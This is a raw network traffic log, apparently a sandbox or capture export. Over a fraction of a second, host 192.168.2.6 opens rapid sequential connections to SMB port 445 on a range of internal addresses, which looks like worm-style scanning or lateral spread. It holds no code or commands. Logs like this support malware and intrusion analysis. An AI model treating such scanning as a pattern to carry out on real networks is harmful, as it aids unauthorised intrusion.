Jul 6, 2024 14:11:24.564673901 CEST	445	50296	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:24.564734936 CEST	50295	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:24.564788103 CEST	50295	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:24.564788103 CEST	50296	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:24.569684982 CEST	445	50295	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:24.570230961 CEST	445	50295	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:24.571296930 CEST	445	50296	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:24.572232962 CEST	50296	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:24.572232962 CEST	50297	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:24.572232962 CEST	50296	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:24.577280998 CEST	445	50296	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:24.577289104 CEST	445	50297	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:24.577378988 CEST	50297	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:24.577451944 CEST	50297	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:24.582650900 CEST	445	50297	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:24.584187984 CEST	445	50297	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:24.584254026 CEST	50297	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:24.585386992 CEST	50299	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:24.586323023 CEST	50298	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:24.590401888 CEST	445	50299	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:24.593193054 CEST	50299	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:24.598125935 CEST	445	50299	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:24.598469019 CEST	50299	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:24.598469019 CEST	50299	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:24.601588011 CEST	50300	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:24.602611065 CEST	445	50298	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:24.603080034 CEST	50302	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:24.605762959 CEST	445	50299	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:24.606831074 CEST	445	50300	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:24.606992960 CEST	50300	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:24.606992960 CEST	50300	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:24.607992887 CEST	445	50302	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:24.610470057 CEST	50302	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:24.613639116 CEST	50301	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:24.613639116 CEST	50298	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:24.613639116 CEST	50298	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:24.616075993 CEST	50302	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:24.616242886 CEST	50303	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:24.616461039 CEST	50304	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:24.620024920 CEST	445	50300	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:24.620069981 CEST	445	50300	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:24.621860027 CEST	445	50302	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:24.621885061 CEST	445	50301	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:24.621891975 CEST	445	50298	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:24.621900082 CEST	445	50298	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:24.621906996 CEST	445	50302	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:24.621915102 CEST	445	50303	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:24.621922970 CEST	445	50304	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:24.624212980 CEST	50301	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:24.624213934 CEST	50303	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:24.624783993 CEST	50302	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:24.625495911 CEST	50304	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:24.625495911 CEST	50304	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:24.630803108 CEST	50301	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:24.630803108 CEST	50303	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:24.631900072 CEST	50305	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:24.632637024 CEST	50306	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:24.635806084 CEST	445	50301	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:24.635818958 CEST	445	50303	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:24.636948109 CEST	445	50305	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:24.637008905 CEST	50305	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:24.637065887 CEST	50305	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:24.637583017 CEST	445	50306	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:24.637856960 CEST	445	50301	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:24.639324903 CEST	50306	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:24.639662981 CEST	445	50303	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:24.641993046 CEST	445	50305	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:24.642672062 CEST	445	50304	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:24.644061089 CEST	445	50304	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:24.644109011 CEST	50304	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:24.645551920 CEST	445	50305	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:24.647509098 CEST	445	50306	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:24.649136066 CEST	50307	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:24.650403023 CEST	50306	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:24.650403023 CEST	50306	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:24.654186964 CEST	445	50307	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:24.657385111 CEST	50307	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:24.657385111 CEST	50307	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:24.660119057 CEST	445	50306	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:24.663074017 CEST	50308	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:24.663480997 CEST	50309	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:24.666666031 CEST	445	50307	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:24.668148994 CEST	445	50307	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:24.668678999 CEST	50307	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:24.668848038 CEST	445	50308	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:24.669110060 CEST	50308	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:24.669110060 CEST	50308	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:24.669550896 CEST	445	50309	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:24.672096968 CEST	50309	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:24.672096968 CEST	50309	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:24.674335003 CEST	445	50308	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:24.674707890 CEST	445	50308	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:24.677428007 CEST	445	50309	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:24.677484035 CEST	50309	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:24.681201935 CEST	50310	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:24.681201935 CEST	50311	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:24.682568073 CEST	445	50284	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:24.685014963 CEST	50284	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:24.686213970 CEST	445	50310	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:24.686665058 CEST	445	50311	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:24.686767101 CEST	50310	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:24.686767101 CEST	50310	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:24.686767101 CEST	50311	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:24.686824083 CEST	50311	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:24.691786051 CEST	445	50310	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:24.691823006 CEST	445	50310	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:24.692213058 CEST	445	50311	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:24.692286015 CEST	50311	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:24.695389032 CEST	50312	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:24.695389032 CEST	50314	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:24.696408033 CEST	50313	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:24.700252056 CEST	445	50312	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:24.700324059 CEST	50312	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:24.700387955 CEST	50312	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:24.700551033 CEST	445	50314	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:24.700618982 CEST	50314	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:24.700695992 CEST	50314	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:24.701214075 CEST	445	50313	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:24.705277920 CEST	445	50312	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:24.705775023 CEST	50313	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:24.705775023 CEST	50313	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:24.706166029 CEST	445	50312	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:24.706753969 CEST	445	50314	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:24.707222939 CEST	50314	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:24.710287094 CEST	50316	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:24.710992098 CEST	445	50313	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:24.711097002 CEST	445	50313	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:24.713570118 CEST	50315	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:24.715048075 CEST	445	50316	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:24.715112925 CEST	50316	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:24.715190887 CEST	50316	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:24.721097946 CEST	445	50315	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:24.721165895 CEST	50315	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:24.721208096 CEST	50315	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:24.721328974 CEST	445	50316	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:24.721386909 CEST	50316	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:24.725572109 CEST	50317	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:24.725815058 CEST	50318	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:24.726155043 CEST	445	50315	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:24.726213932 CEST	50315	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:24.726385117 CEST	445	50315	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:24.730873108 CEST	445	50317	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:24.730952024 CEST	50317	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:24.731004000 CEST	50317	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:24.731764078 CEST	445	50318	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:24.731833935 CEST	50318	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:24.731976986 CEST	445	50315	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:24.735913992 CEST	445	50317	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:24.741105080 CEST	50318	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:24.741272926 CEST	50319	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:24.741493940 CEST	50320	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:24.750324965 CEST	445	50318	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:24.750392914 CEST	50318	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:24.750840902 CEST	445	50318	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:24.750866890 CEST	445	50319	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:24.750878096 CEST	445	50320	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:24.751012087 CEST	50320	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:24.751039028 CEST	50320	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:24.752382040 CEST	50319	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:24.752382040 CEST	50319	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:24.757055044 CEST	50322	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:24.757103920 CEST	50321	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:24.758573055 CEST	445	50320	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:24.759996891 CEST	445	50320	192.168.1.88	192.168.2.6
Jul 6, 2024 14:11:24.760046005 CEST	50320	445	192.168.2.6	192.168.1.88
Jul 6, 2024 14:11:24.760885000 CEST	445	50319	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:24.764375925 CEST	445	50319	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:24.764385939 CEST	445	50322	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:24.764448881 CEST	50322	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:24.764575958 CEST	50322	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:24.765858889 CEST	445	50321	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:24.765921116 CEST	50321	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:24.765959024 CEST	50321	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:24.772727013 CEST	445	50322	192.168.1.89	192.168.2.6
Jul 6, 2024 14:11:24.772782087 CEST	50322	445	192.168.2.6	192.168.1.89
Jul 6, 2024 14:11:24.774665117 CEST	50323	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:24.775068045 CEST	445	50321	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:24.775078058 CEST	445	50321	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:24.788079023 CEST	50324	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:24.788166046 CEST	50325	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:24.788460970 CEST	50326	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:24.789087057 CEST	445	50323	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:24.789144993 CEST	50323	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:24.793714046 CEST	445	50324	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:24.793771982 CEST	50324	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:24.793833017 CEST	50324	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:24.794064045 CEST	445	50325	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:24.794074059 CEST	445	50326	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:24.794200897 CEST	50326	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:24.794226885 CEST	50326	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:24.794295073 CEST	50325	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:24.794295073 CEST	50325	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:24.795804977 CEST	445	50323	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:24.795852900 CEST	50323	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:24.799048901 CEST	445	50324	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:24.799206972 CEST	445	50325	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:24.799806118 CEST	445	50324	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:24.800044060 CEST	445	50326	192.168.1.91	192.168.2.6
Jul 6, 2024 14:11:24.800106049 CEST	50326	445	192.168.2.6	192.168.1.91
Jul 6, 2024 14:11:24.800400972 CEST	445	50325	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:24.804187059 CEST	50327	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:24.804959059 CEST	50323	445	192.168.2.6	192.168.1.90
Jul 6, 2024 14:11:24.811028004 CEST	445	50327	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:24.811568022 CEST	445	50323	192.168.1.90	192.168.2.6
Jul 6, 2024 14:11:24.811814070 CEST	50327	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:24.811814070 CEST	50327	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:24.818146944 CEST	445	50327	192.168.1.92	192.168.2.6
Jul 6, 2024 14:11:24.819267988 CEST	50327	445	192.168.2.6	192.168.1.92
Jul 6, 2024 14:11:24.819401026 CEST	50329	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:24.819401026 CEST	50328	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:24.820367098 CEST	50330	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:24.825907946 CEST	445	50329	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:24.825920105 CEST	445	50328	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:24.825947046 CEST	445	50330	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:24.826031923 CEST	50328	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:24.826057911 CEST	50328	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:24.826412916 CEST	50330	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:24.827611923 CEST	50329	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:24.827611923 CEST	50329	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:24.834851980 CEST	50330	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:24.835233927 CEST	50331	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:24.837109089 CEST	445	50328	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:24.837157965 CEST	445	50329	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:24.837186098 CEST	445	50328	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:24.837202072 CEST	445	50329	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:24.844541073 CEST	445	50331	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:24.845896006 CEST	50331	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:24.846556902 CEST	445	50330	192.168.1.93	192.168.2.6
Jul 6, 2024 14:11:24.847001076 CEST	50330	445	192.168.2.6	192.168.1.93
Jul 6, 2024 14:11:24.850686073 CEST	50332	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:24.852456093 CEST	50334	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:24.854159117 CEST	50331	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:24.857460976 CEST	50333	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:24.859539032 CEST	445	50332	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:24.860132933 CEST	50332	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:24.860132933 CEST	50332	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:24.861279964 CEST	445	50334	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:24.861433029 CEST	50334	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:24.861485958 CEST	50334	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:24.862759113 CEST	445	50331	192.168.1.94	192.168.2.6
Jul 6, 2024 14:11:24.862818956 CEST	50331	445	192.168.2.6	192.168.1.94
Jul 6, 2024 14:11:24.864130974 CEST	445	50333	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:24.864181995 CEST	50333	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:24.865598917 CEST	445	50332	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:24.866009951 CEST	50333	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:24.868319988 CEST	50336	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:24.868961096 CEST	50335	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:24.872394085 CEST	445	50334	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:24.872842073 CEST	445	50333	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:24.873351097 CEST	445	50336	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:24.873442888 CEST	50336	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:24.873522997 CEST	50336	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:24.873935938 CEST	445	50332	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:24.874049902 CEST	445	50335	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:24.874289036 CEST	50335	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:24.874289036 CEST	50335	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:24.875401020 CEST	445	50334	192.168.1.95	192.168.2.6
Jul 6, 2024 14:11:24.875456095 CEST	50334	445	192.168.2.6	192.168.1.95
Jul 6, 2024 14:11:24.876404047 CEST	445	50333	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:24.879767895 CEST	445	50336	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:24.879853964 CEST	50336	445	192.168.2.6	192.168.1.96
Jul 6, 2024 14:11:24.880434990 CEST	445	50336	192.168.1.96	192.168.2.6
Jul 6, 2024 14:11:24.880842924 CEST	445	50335	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:24.881392956 CEST	445	50335	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:24.882050037 CEST	50337	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:24.889245033 CEST	445	50337	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:24.889337063 CEST	50337	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:24.891937971 CEST	50337	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:24.897572041 CEST	50338	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:24.897658110 CEST	50339	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:24.897981882 CEST	50340	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:24.902637959 CEST	445	50337	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:24.903095007 CEST	445	50337	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:24.904469013 CEST	50337	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:24.908123016 CEST	445	50338	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:24.908567905 CEST	445	50339	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:24.908652067 CEST	50338	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:24.908652067 CEST	50339	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:24.908698082 CEST	445	50340	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:24.908749104 CEST	50340	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:24.908792973 CEST	50338	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:24.908870935 CEST	50339	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:24.908966064 CEST	50340	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:24.913471937 CEST	50341	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:24.913863897 CEST	50342	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:24.920017958 CEST	445	50338	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:24.920139074 CEST	445	50339	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:24.920156956 CEST	445	50338	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:24.920667887 CEST	445	50341	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:24.920676947 CEST	445	50339	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:24.920686960 CEST	445	50342	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:24.920749903 CEST	50341	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:24.920780897 CEST	50342	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:24.923055887 CEST	445	50340	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:24.923064947 CEST	445	50340	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:24.923137903 CEST	50340	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:24.927539110 CEST	445	50341	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:24.928797960 CEST	445	50342	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:24.930442095 CEST	50342	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:24.930442095 CEST	50342	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:24.931375980 CEST	50341	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:24.931375980 CEST	50341	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:24.931375980 CEST	50343	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:24.931375980 CEST	50344	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:24.935386896 CEST	445	50342	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:24.936244011 CEST	445	50341	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:24.936252117 CEST	445	50341	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:24.936491013 CEST	445	50343	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:24.936500072 CEST	445	50344	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:24.936640024 CEST	50343	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:24.936640024 CEST	50344	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:24.936676025 CEST	50343	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:24.936676025 CEST	50344	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:24.941767931 CEST	445	50343	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:24.942275047 CEST	445	50344	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:24.942665100 CEST	50344	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:24.944350004 CEST	50345	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:24.944556952 CEST	50346	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:24.949206114 CEST	445	50345	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:24.949295998 CEST	50345	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:24.949305058 CEST	445	50346	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:24.949335098 CEST	50345	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:24.954349995 CEST	445	50345	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:24.954427958 CEST	445	50345	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:24.955845118 CEST	50346	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:24.961040020 CEST	445	50346	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:24.964215040 CEST	50347	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:24.968276978 CEST	50346	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:24.968277931 CEST	50346	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:24.969712973 CEST	445	50347	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:24.972502947 CEST	50347	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:24.972502947 CEST	50347	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:24.973421097 CEST	445	50346	192.168.1.101	192.168.2.6
